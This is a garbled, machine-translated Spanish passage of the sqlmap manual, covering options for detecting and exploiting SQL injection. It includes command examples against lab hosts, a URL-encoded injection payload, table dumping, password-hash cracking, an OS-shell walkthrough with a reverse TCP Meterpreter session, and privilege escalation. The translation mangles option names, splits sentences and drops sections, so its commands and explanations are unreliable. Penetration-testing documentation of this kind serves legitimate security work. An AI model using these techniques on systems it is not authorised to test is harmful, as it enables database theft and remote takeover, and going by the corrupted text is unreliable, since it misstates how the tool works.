Beruflich Dokumente
Kultur Dokumente
verbosidad de salida
Opcin: -v
Esta opcin se puede utilizar para ajustar el nivel de verbosidad de los mensajes
de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
Un nivel razonable de nivel de detalle para comprender mejor lo que hace sqlmap
bajo el cap es de nivel 2 , principalmente para la fase de deteccin y las
funcionalidades de adquisicin. Mientras que si quieres ver las cargas tiles de las
herramientas de SQL enva, el nivel 3 es su mejor opcin. Tambin se recomienda
este nivel para ser utilizado cuando se alimenta a los desarrolladores con un
potencial de informe de error, asegrese de que se enva junto con la salida
estndar del archivo de registro de trfico generado con la opcin -t . Con el fin de
depurar an ms las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.
Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).
Por ejemplo:
sqlmap.py $ pitn -d "mysql: // Administrador: admin@192.168.21.17: 3306 /
testdb" -f --bann \
er --dbs --users
URL de destino
Opcin: -u o --url
Ejecutar sqlmap contra una sola direccin URL de destino. Esta opcin requiere
una direccin URL de destino en forma siguiente:
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs \
-Los usuarios
Solicitud
Estas opciones se pueden utilizar para especificar cmo conectarse a la direccin
URL de destino.
mtodo HTTP
Opcin: --method
sqlmap detecta automticamente el mtodo HTTP adecuado para ser utilizado en
las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el
uso de mtodo HTTP especfica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opcin (por ejemplo --method =
PUT ).
datos HTTP
Opcin: --Hojas
Por defecto, el mtodo HTTP utilizado para realizar peticiones HTTP es GET , pero
se puede cambiar de forma implcita a PUBLIQUE proporcionando los datos a ser
enviados en los POST desolicitudes. Tales datos, siendo estos parmetros, se
prueban para la inyeccin de SQL, as como las previstas GET parmetros.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/vuln.php" --Hojas = "id = 1" f -banne \
r --dbs --users
De cualquier razn te lleva a necesita enviar las galletas con las peticiones
sqlmap, los pasos a seguir son los siguientes:
Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar
separados por una; carcter, no por una y . sqlmap puede reconocer stos como
conjuntos separados deparmetro = valor demasiado, as como GET y POST de
parmetros. En caso de que el carcter de separacin es distinto ; se puede
especificar utilizando la opcin --cookie-del .
Si en cualquier momento durante la comunicacin, la aplicacin web responde
con Set-Cookiecabeceras, sqlmap utilizar automticamente su valor en todas las
peticiones HTTP adicionales como la galleta de cabecera. sqlmap tambin
probar automticamente estos valores para la inyeccin de SQL. Esto puede
evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorar
cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opcin -cookie y la URL de destino enva un HTTP Set-Cookie cabecera en cualquier
momento, sqlmap le preguntar qu conjunto de cookies para utilizar para las
siguientes solicitudes HTTP.
Tambin hay una opcin -cookies --load que se pueden utilizar para proporcionar
un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que tambin el HTTP Cookies cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 2 o superior. Lea a continuacin
para ms detalles.
para ms detalles.
Opcin: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto
HTTP Hostcabecera se analiza desde una direccin URL de destino previsto.
Tenga en cuenta que tambin el HTTP Host cabecera se comprueba frente a la
inyeccin de SQL si el --level se establece en 5 . Lea a continuacin para ms
detalles.
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 3D%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201%
20ELSE% 200% 20END% 29% 29% 2C \
0x3a6c666d3a% 2CFLOOR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM%
20INFORMATION_SCHEMA.CHARA \
CTER_SETS% 20GROUP% 20BY% 20x% 29a%
29 HTTP / 1.1
Anfitrin: www.target.com
Accept-Encoding: gzip, desinfle
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * /
*; q = 0,8
User-agent: Firefox 1.0
Conexin: cerrar
[...]
BASIC
Digerir
NTLM
Mejoramiento
Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.
optimizacin Bundle
Cambiar: -o
Este interruptor es un alias que establece implcitamente las siguientes opciones e
interruptores:
--mantener viva
--null conexin
--threads = 3 si no se establece en un valor ms alto.
la prediccin de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadstica para la
prediccin secuencial de caracteres de valor siendo recuperados. Tabla
estadstica con los valores de carcter ms prometedores est siendo construido
en base a los elementos que figuran en el txt / common-outputs.txt combinado
con el conocimiento de la enumeracin de corriente utilizada. En caso de que el
valor se encuentra entre los valores de salida comunes, ya que el proceso avanza,
tablas de caracteres subsiguientes se estrecharon cada vez ms. Si se usa en
combinacin con la recuperacin de las entidades DBMS comunes, como ocurre
con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por
supuesto, puede editar el archivo de salidas de comn acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de
tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.
Inyeccin
Estas opciones se pueden utilizar para especificar qu parmetros para probar,
proporcionar cargas tiles de inyeccin de secuencias de comandos
personalizados y manipulacin opcionales.
Forzar el DBMS
Opcin: --dbms
Por defecto sqlmap detecta automticamente el sistema de gestin de base de
datos back-end de la aplicacin web. sqlmap es totalmente compatible con los
siguientes sistemas de gestin de base de datos:
MySQL
Orculo
PostgreSQL
Microsoft SQL Server
acceso Microsoft
SQLite
Firebird
Sybase
SAP MaxDB
DB2
se
llevar a cabo la extensa huella digital para el sistema de gestin de base de datos
especificado solamente, lea a continuacin para ms detalles.
Tenga en cuenta que esta opcin es no obligatorio y se recomienda utilizarlo slo
si est absolutamente seguro sobre el sistema de gestin de base de datos
back-end. Si no lo saben, y mucho sqlmap automticamente las huellas digitales
para t.
Linux
ventanas
Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap
evitar hacerlo en s.
Tenga en cuenta que esta opcin es no obligatorio y se recomienda utilizarlo slo
si est absolutamente seguro sobre el sistema de gestin de base de datos del
sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica
automticamente por usted.
Para detectar y explotar esta inyeccin SQL, puede dejar que sqlmap detectar
las fronteras(como en la combinacin de prefijo y un sufijo de carga til de SQL)
para que durante la fase de deteccin, o proporcionar por su cuenta.
Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php
\
? Id = 1 "Identificacin -p --prefix" ') "--suffix" Y (' abc '=' abc "
[...]
Esto dar lugar a todas las solicitudes sqlmap para terminar en una consulta de la
siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc')
LIMIT 0, 1";
PRIORIDAD
Deteccin
Estas opciones se pueden usar para personalizar la fase de deteccin.
Nivel
Opcin: --level
Esta opcin requiere un argumento que especifica el nivel de pruebas que desee
realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo
nmero limitado de pruebas (solicitudes). A la inversa, el nivel de 5 probar ms
detallados para un nmero mucho mayor de cargas tiles y los lmites (como en
par de prefijo y el sufijo carga til SQL). Las cargas utilizadas por sqlmap se
especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones
en la parte superior del archivo, si sqlmap pierde una inyeccin, debe ser capaz de
aadir su carga til (s) para probar tambin!
No slo esta opcin afecta a que la carga til sqlmap intentos, pero tambin por
los que se toman los puntos de inyeccin en el examen: GET y parmetros POST
estn siempre a prueba, valores de cabecera de cookies HTTP se prueban desde
el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de
nivel 3 .
Con todo, ms difcil es detectar una inyeccin SQL, cuanto mayor sea el -level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la
lista de correo que sqlmap no es capaz de detectar un cierto punto de inyeccin.
Riesgo
Opcin: --risk
Esta opcin requiere un argumento que especifica el riesgo de pruebas que desee
realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva
para la mayora de los puntos de inyeccin SQL. Valor de riesgo 2 aade al nivel
predeterminado para las pruebas consulta pesada inyecciones SQL basados en el
tiempo y el valor 3 aade tambin O basados en pruebas de inyeccin SQL.
En algunos casos, como una inyeccin de SQL en una ACTUALIZACIN comunicado,
la inyeccin de un OR de carga til con base puede conducir a una actualizacin de
todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razn y otras esta opcin se ha introducido: el usuario tiene
control sobre qu cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar tambin los potencialmente peligrosos. De acuerdo con la
opcin anterior, las cargas tiles utilizados por sqlmap se especifican en el archivo
de texto XML / payloads.xml y que son libres de editar y aadir su propietaria.
comparacin de la pgina
tcnicas
Estas opciones se pueden utilizar para ajustar el ensayo de tcnicas especficas
de inyeccin SQL.
B
E
T
S
T
Q
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyeccin
SQL con un rango especfico de columnas, proporcionando la herramienta con la
opcin --union-colsseguido de una serie de nmeros enteros. Por ejemplo, 1216 significa que las pruebas de inyeccin de SQL consulta UNION mediante el uso
de 12 hasta 16 columnas.
Huella dactilar
sistema de huella digital extensa base de datos de
gestin
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestin de base de datos back-end
de la aplicacin web es manejado automticamente por sqlmap. Justo despus de
que finalice la fase de deteccin y el usuario con el tiempo se le solicita con una
eleccin de qu parmetro vulnerable a utilizar ms adelante, las huellas
dactilares sqlmap el sistema de gestin de base de datos back-end y contina con
la inyeccin por saber qu sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los lmites de la arquitectura de base de datos.
Si por alguna instancia que desea llevar a cabo una extensa base de datos de
huellas dactilares sistema de gestin basado en diversas tcnicas como dialectos
SQL especficas y mensajes de error dentro de banda, puede proporcionar el
interruptor --fingerprint . sqlmap va a realizar muchas ms solicitudes y las
huellas digitales de la versin exacta de DBMS y, cuando sea posible, el sistema
operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado an ms preciso, tambin puede
proporcionar el interruptor -b o --banner .
Enumeracin
Estas opciones se pueden utilizar para enumerar el sistema de gestin de base de
datos de informacin, estructura de fondo y los datos contenidos en las tablas. Por
otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere
recuperar todo remotamente accesible mediante el uso de un nico
conmutador. Esto no es recomendable ya que generar gran nmero de
peticiones de recuperacin de datos tiles y intiles.
Bandera
Cambiar: -b o --banner
La mayora de los sistemas modernos de gestin de base de datos tienen una
funcin y / o una variable de entorno que devuelve la versin del sistema de
gestin de base de datos y, finalmente, detalles sobre su nivel de parche, el
sistema subyacente. Por lo general, la funcin es la versin () y la variable de
entorno se @@ version , pero esto puede variar dependiendo de los DBMS de
destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" \
-bandera
[...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
usuario de la sesin
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestin de
base de datos que est llevando a cabo de manera efectiva la consulta en el
DBMS de back-end de la aplicacin web.
No slo enumer sqlmap los usuarios DBMS y sus contraseas, pero tambin
reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no
probar los hashes contra un archivo de diccionario e identific la contrasea de
texto para el postgres usuario, que es por lo general a lo largo de un DBA del
usuario aparte, usuarioprueba , contrasea.
Esta caracterstica se ha implementado para todos los DBMS en los que es
posible enumerar los hashes de contraseas de los usuarios, incluyendo Oracle y
Microsoft SQL Server pre y post-2005.
Tambin puede proporcionar la opcin -U para especificar el usuario especfico
que desea enumerar y finalmente romper el hash de la contrasea (s). Si
proporciona CU como nombre de usuario que lo considerar como un alias para el
usuario actual y recuperar el hash de la contrasea (es) de este anuncio.
Cambiar: --roles
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin sobre los usuarios DBMS, es posible enumerar las funciones
para cada usuario del sistema de gestin de base de datos.
Tambin puede proporcionar la opcin -U para especificar el usuario que desea
enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerar como un alias para
el usuario actual y enumerar los privilegios de este anuncio.
Esta funcin slo est disponible cuando el DBMS es Oracle.
de una base de datos del sistema. Esto se debe a que no es posible enumerar las
tablas de otras bases de datos, slo las tablas bajo el esquema de ese usuario de
la aplicacin web est conectado a, que siempre es un alias por el pblico .
Tabla: blogs_table
[4 columnas]
+ -------------- + ---------- +
| columna | Tipo |
+ -------------- + ---------- +
| fecha | fecha y hora |
| blogger_name | texto |
| cid | int (11) |
| comentario | texto |
+ -------------- + ---------- +
Base de datos: owasp10
Tabla: hitlog
[6 columnas]
+ ---------- + ---------- +
| columna | Tipo |
+ ---------- + ---------- +
| fecha | fecha y hora |
| navegador | texto |
| cid | int (11) |
| nombre de host | texto |
| IP | texto |
| rbitro | texto |
+ ---------- + ---------- +
Base de datos: testdb
Tabla: usuarios
[3 columnas]
+ --------- + --------------- +
| columna | Tipo |
+ --------- + --------------- +
| Identificacin | int (11) |
| nombre | varchar (500) |
| apellido | varchar (1000) |
+ --------- + --------------- +
[...]
| dbo.users | 4 |
| dbo.users_blob | 2 |
+ ---------------- + --------- +
Este conmutador tambin se puede utilizar para volcar entradas de una base de
datos proporcionada todas las tablas. Usted simplemente tiene que proporcionar
sqlmap con el interruptor --dump junto con slo la opcin -D (sin -T ni -C ).
Tambin puede proporcionar una lista separada por comas de las columnas
especficas para volcar con la opcin -C .
sqlmap tambin genera para cada tabla vierten las entradas en un archivo de
formato de texto CSV. Se puede ver la ruta absoluta donde sqlmap crea el archivo,
proporcionando un nivel de detalle mayor que o igual a 1 .
Si desea volcar slo un rango de entradas, a continuacin, puede proporcionar
opciones --starty / o --stop para empezar respectivamente para volcar a partir de
una cierta entrada y detener el volcado a una cierta entrada. Por ejemplo, si desea
volcar slo la primera entrada, proporcionar --stop 1 en la lnea de
comandos. Viceversa, si, por ejemplo, desea volcar slo la segunda y tercera
entrada, proporcionar --start 1 --stop 3 .
Tambin es posible especificar qu solo carcter o conjunto de caracteres para
volcar con opciones --first y --last . Por ejemplo, si desea volcar entradas
columnas 'de la tercera a la quinta carcter, proporcionar --first 3 --last 5 .
Esta caracterstica slo se aplica a las tcnicas de inyeccin SQL ciegos debido a
las tcnicas de inyeccin de consultas basadas en SQL de error y de la Unin el
nmero de peticiones es exactamente el mismo, independientemente de la
duracin de la salida de la entrada de la columna para volcar.
A veces (por ejemplo, para Microsoft SQL Server, Sybase y SAP MaxDB) no es
posible para volcar las filas de la tabla sencilla mediante el uso de m, n
OFFSET mecanismo debido a la falta de parecido. En tales casos sqlmap vuelca el
contenido mediante la determinacin de la ms adecuada de pivote columna (la
que tiene la mayora de los valores nicos) cuyos valores se utilizan ms adelante
para la recuperacin de otros valores de columna. Si es necesario para hacer
cumplir el uso de especial pivote columna debido a la elegida automticamente no
es adecuado (por ejemplo, debido a la falta de resultados de volcado de la tabla)
se puede utilizar la opcin --pivot-columna (por ejemplo --pivot-columna = id ).
En caso de que desee a la restriccin del vertedero a los valores especficos de
las columnas (o rangos), puede utilizar la opcin --donde . Operacin lgica
proporcionada ser utilizada de forma automtica dentro del DONDE clusula. Por
ejemplo, si se utiliza --Si llegara a ocurrir "id => 3" slo filas de la tabla que
tienen valor de la columna ID se recuperarn mayor que 3 (anexando WHERE id>
3 a las consultas de dumping utilizados).
Como se habrn dado cuenta por ahora, sqlmap es flexibles : se puede dejar a
volcar de forma automtica toda la tabla de base de datos o puede ser muy
preciso en el que personajes a volcar, a partir del cual las columnas y qu rango
de entradas.
Esto es til, por ejemplo, para identificar las tablas que contienen las credenciales
de aplicacin personalizados donde los nombres de las columnas relevantes
'contienen cadena como nombre ypase .
Interruptor --search necesita ser utilizado en conjuncin con una de las siguientes
opciones de soporte:
-C Siguiendo una lista de nombres de columnas separadas por comas para buscar
Fuerza bruta
Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza
bruta.
Si cualquiera de los dos primeros casos se aplican y se present el interruptor -tables , sqlmap le pedir con una pregunta que recurrir a esta tcnica. Cualquiera
de estos casos se aplican a su situacin, puede sqlmap posiblemente todava
identificar algunas tablas existentes si se proporciona con el interruptor --commonmesas . sqlmap llevar a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de tablas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-tables.txt y se puede
editar como desee.
Ejemplo 4.1 contra un objetivo MySQL:
$ Python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo
\
n-mesas -D testdb --banner
[...]
[Hh: mm: 39] [INFO] MySQL prueba
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] el back-end DBMS es MySQL
[Hh: mm: 40] [INFO] bandera ir a buscar
sistema operativo del servidor Web: Windows
La tecnologa de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache
sistema operativo DBMS: Windows
DBMS: MySQL <5.0.0
banner: "4.1.21-comunidad-nt '
[Hh: mm: 40] [INFO] comprobacin de la existencia tabla usando artculos de '/
software / sqlmap / tx
t / common-tables.txt '
[Hh: mm: 40] [INFO] la adicin de palabras que se usan en la pgina web a la
lista de verificacin
Por favor, introduzca el nmero de hilos? [Enter para 1 (actual)] 8
[Hh: mm: 43] [INFO] recuperado: los usuarios
Base de datos: testdb
[1 mesa]
+ ------- +
| usuarios |
+ ------- +
Si cualquiera de los dos primeros casos se aplican y se present el interruptor -columns , sqlmap le pedir con una pregunta que recurrir a esta tcnica. Cualquiera
de estos casos se aplican a su situacin, puede sqlmap posiblemente todava
identificar algunas tablas existentes si se proporciona con el interruptor --commoncolumnas . sqlmap llevar a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de columnas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-columns.txt y se puede
editar como desee.
Tambin es posible simular una concha real en el que puede escribir tantos
comandos arbitrarios como desee. La opcin es --os-shell y tiene las mismas
implementacin del tabulador y la historia funcionalidades que --sql-shell tiene.
SPID
ASP.NET
JSP
PHP
[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para
esta mquina, en
todos los puertos
entre el especificado y 65535
[3] enlazar TCP: Escucha en el host de base de datos para una conexin
>
que es la direccin local? [192.168.136.1]
qu nmero de puerto local es lo que desea utilizar? [60641]
el que la carga til es lo que desea utilizar?
[1] Meterpreter (por defecto)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] creacin en el progreso hecho ...
[Hh: mm: 43] [INFO] ejecuta la interfaz de lnea de comandos Metasploit
Framework localmente, p
arrendamiento de espera ..
_
| | o
_ _ _ _ _ | _ __, _ | | __ _ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ /
/ |
\ |
=
+ - + - =
meterpreter> exit
[*] Sesin Meterpreter 1 cerrado. Motivo: Salida de usuario
Por defecto de MySQL en Windows se ejecuta como SISTEMA ,
sin embargo
PostgreSQL se ejecuta como un usuario con privilegios bajos postgres en
Windows y Linux. Microsoft SQL Server 2000 ejecuta de forma predeterminada
como SISTEMA , mientras que Microsoft SQL Server 2005 y 2008 se ejecuta la
mayor parte de las veces como Servicio de red y, a veces como SERVICIO LOCAL .
Es posible proporcionar sqlmap con el interruptor --priv-esc para llevar a cabo
un proceso de base de datos 'escalada de privilegios de usuario a travs de
Metasploit getSystem de comandos que incluyen, entre otros, el kitrap0d tcnica
( MS10-015 ).
Cambiar: --reg-del
El uso de este interruptor puede eliminar las claves de registro.
General
Estas opciones se pueden utilizar para establecer algunos parmetros generales
de trabajo.
establecer una profundidad (distancia desde un lugar de partida) por debajo del
cual no va a sqlmap en la recogida de fase, ya que el proceso se est haciendo de
forma recursiva, siempre y cuando hay nuevos enlaces que se pueden visitar.
Ejemplo de gestin frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl = 3
[...]
[Xx: xx: 53] [INFO] rastreador de partida
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 1
[Xx: xx: 53] [ADVERTENCIA] se ejecuta en un modo de un solo hilo. Esto podra
tomar un tiempo
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 2
[Xx: xx: 54] [Info] heursticos detectan la pgina web de juego de caracteres
'ascii'
[Xx: xx: 00] [INFO] 42/56 enlaces visitados (75%)
[...]
Opcin --crawl-excluir
Entonces:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release
10.2
.0.1.0 - Prod
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
actualizacin sqlmap
Cambiar: --update
El uso de esta opcin puede actualizar la herramienta a la ltima versin de
desarrollo directamente desde el repositorio Git . Obviamente, se necesita
conexin a Internet.
Si, por cualquier razn, esta operacin falla, ejecuta git pull de su copia de
trabajo sqlmap. Se llevar a cabo la misma operacin del interruptor de -update . Si est ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.
Esto es muy recomendable antes de informar sobre cualquier error a las listas de
correo .
Diverso
Utilice mnemotcnicos cortos
Opcin: -z
Podra llegar a ser tedioso para escribir todas las opciones e interruptores
deseados, especialmente para aquellos que se utilizan con mayor frecuencia (por
ejemplo --batch --random-agente --ignore-proxy = --technique BEA ). Hay una
manera ms simple y mucho ms breve cmo hacer frente a ese problema. En
sqlmap se llama "mnemnicos".
Cada opcin y el interruptor se pueden escribir en una forma mnemotcnica ms
corto utilizando la opcin -z , separados por una coma ( , ), donde mnemotcnicos
representan slo la primera parte arbitrariamente elegido del nombre original. No
hay ninguna asignacin estricta de opciones e interruptores a sus respectivos
homlogos acortados. nica condicin requerida es que no hay otra opcin ni
interruptor que tiene un mismo prefijo que el deseado.
Ejemplo:
$ Python sqlmap.py --batch --random-agente --ignore-proxy = --technique BEA -u
"ww \
w.target.com/vuln.php?id=1 "
Otro ejemplo:
$ Python sqlmap.py --ignore-proxy---flush sesin --technique = T --dump -D testd
\
b usuarios -T -u "www.target.com/vuln.php?id=1"
Opcin: --answers
En caso de que el usuario quiere configurar automticamente respuestas para las
preguntas, incluso si --batch se utiliza, el uso de esta opcin puede hacerlo
proporcionando cualquier parte de la pregunta, junto con la respuesta despus de
un signo igual. Adems, las respuestas de diferentes cuestin se pueden dividir
con carcter delimitador , .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --te
\
--answers chnique = E = "que se extiende = N" --batch
[...]
[Xx: xx: 56] [INFO] pruebas de inyeccin SQL en GET parmetro 'id'
prueba heurstica (anlisis) mostr que el DBMS de back-end podran ser 'MySQL'.
Vos si
quiera saltarse las cargas tiles de ensayo especficos para otros DBMS? [Y / n]
Y
[Xx: xx: 56] [INFO] desea incluir todas las pruebas para 'MySQL' que se
extiende proporcionar
d nivel (1) y el riesgo (1)? [Y / n] N
[...]
HTTP, etc.) y advertir al usuario slo en esos casos especiales. Pero, si usted
quiere comprobar de forma independiente para todas aquellas dependencias
adicionales 3 parte de la biblioteca se pueden utilizar los interruptores -dependencies .
$ Python sqlmap.py --dependencies
[...]
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pythonKInterbasDB' en
Para conectar directamente a la DBMS Firebird. Descargar de http: // kinterbasd
b.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectar directamente al SGBD Sybase. Descargar de http:
//pymssql.sourcefo
rge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros '' pitn
pymysql en ord
er para conectar directamente a la DBMS MySQL. Descargar de
https://github.com/peteh
UNT / PyMySQL /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitn
cx_Oracle' en O
rder para conectar directamente a la base de datos Oracle. Descargar de http:
//cx-oracle.sour
ceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pythonpsycopg2' en o
der para conectar directamente al SGBD PostgreSQL. Descargar de
http://initd.org/p
sycopg /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitn IBM-db'
in orde
r para conectar directamente a la DBMS DB2 de IBM. Descargar de
http://code.google.com/
p / IBM-db /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'pitn jaydebeapi y python-jpype
"tercer-pa
rty biblioteca con el fin de conectar directamente a la DBMS HSQLDB. Descargar
de https
: //pypi.python.org/pypi/JayDeBeApi/ Y http://jpype.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pyodbc' biblioteca de
terceros en el orde
r para conectar directamente al DBMS de Microsoft Access. Descargar de http: //
pyodbc.
googlecode.com/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectarse directamente al servidor de Microsoft SQL DBMS. Descargar de
http: // py
mssql.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-ntlm'
si pl
un ataque a una aplicacin web detrs de la autenticacin NTLM. Descargar de
http: //
code.google.com/p/python-ntlm/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'WebSocketcliente' si y
ou plan para atacar a una aplicacin web utilizando WebSocket. Descargar de
https: // PyPI.
python.org/pypi/websocket-client/
una alta posibilidad de que est bajo algn tipo de proteccin. En caso de
cualquier problema, el usuario puede desactivar este mecanismo, proporcionando
interruptor --skip-WAF .
[...]
cambiar --smart
Hay casos en que el usuario tiene una larga lista de posibles direcciones URL de
destino (por ejemplo, proporcionado con la opcin -m ) y quiere encontrar un
blanco vulnerable lo ms rpido posible. Si el interruptor --smart se utiliza, slo los
parmetros con los que DBMS error (s) puede ser provocado, se estn utilizando
ms en las exploraciones. De lo contrario, se omiten.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http:? //192.168.21.128/sqlmap/mysql/get_int.php Ca = 17
& usar \
r = foo & id = 1 "--batch --smart
[...]
[Xx: xx: 14] [INFO] prueba si el parmetro GET 'ca' es dinmico
[Xx: xx: 14] [ADVERTENCIA] GET parmetro 'CA' no aparece dinmico
[Xx: xx: 14] [ADVERTENCIA] heurstica (bsicos) prueba muestra que se interponen
parmetro 'ca' podra
no ser inyectable
[Xx: xx: 14] [INFO] saltarse parmetro GET 'ca'
[Xx: xx: 14] [INFO] prueba si el parmetro GET "usuario" es dinmico
[Xx: xx: 14] [ADVERTENCIA] Parmetro de "usuario" no aparece dinmico
[Xx: xx: 14] [ADVERTENCIA] heurstica (bsicos) prueba muestra que se interponen
parmetro "usuario" Migh
t no sea inyectable
[Xx: xx: 14] [INFO] saltarse parmetro GET "usuario"
[Xx: xx: 14] [INFO] prueba si el parmetro GET 'id' es dinmico
[Xx: xx: 14] [INFO] que confirma que el parmetro GET 'id' es dinmico
[Xx: xx: 14] [INFO] GET parmetro "id" es dinmico
[Xx: xx: 14] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo
[Xx: xx: 14] [INFO] heurstica (bsicos) prueba muestra que se interponen
parmetro 'id' podra ser
inyectable (posible DBMS: 'MySQL')
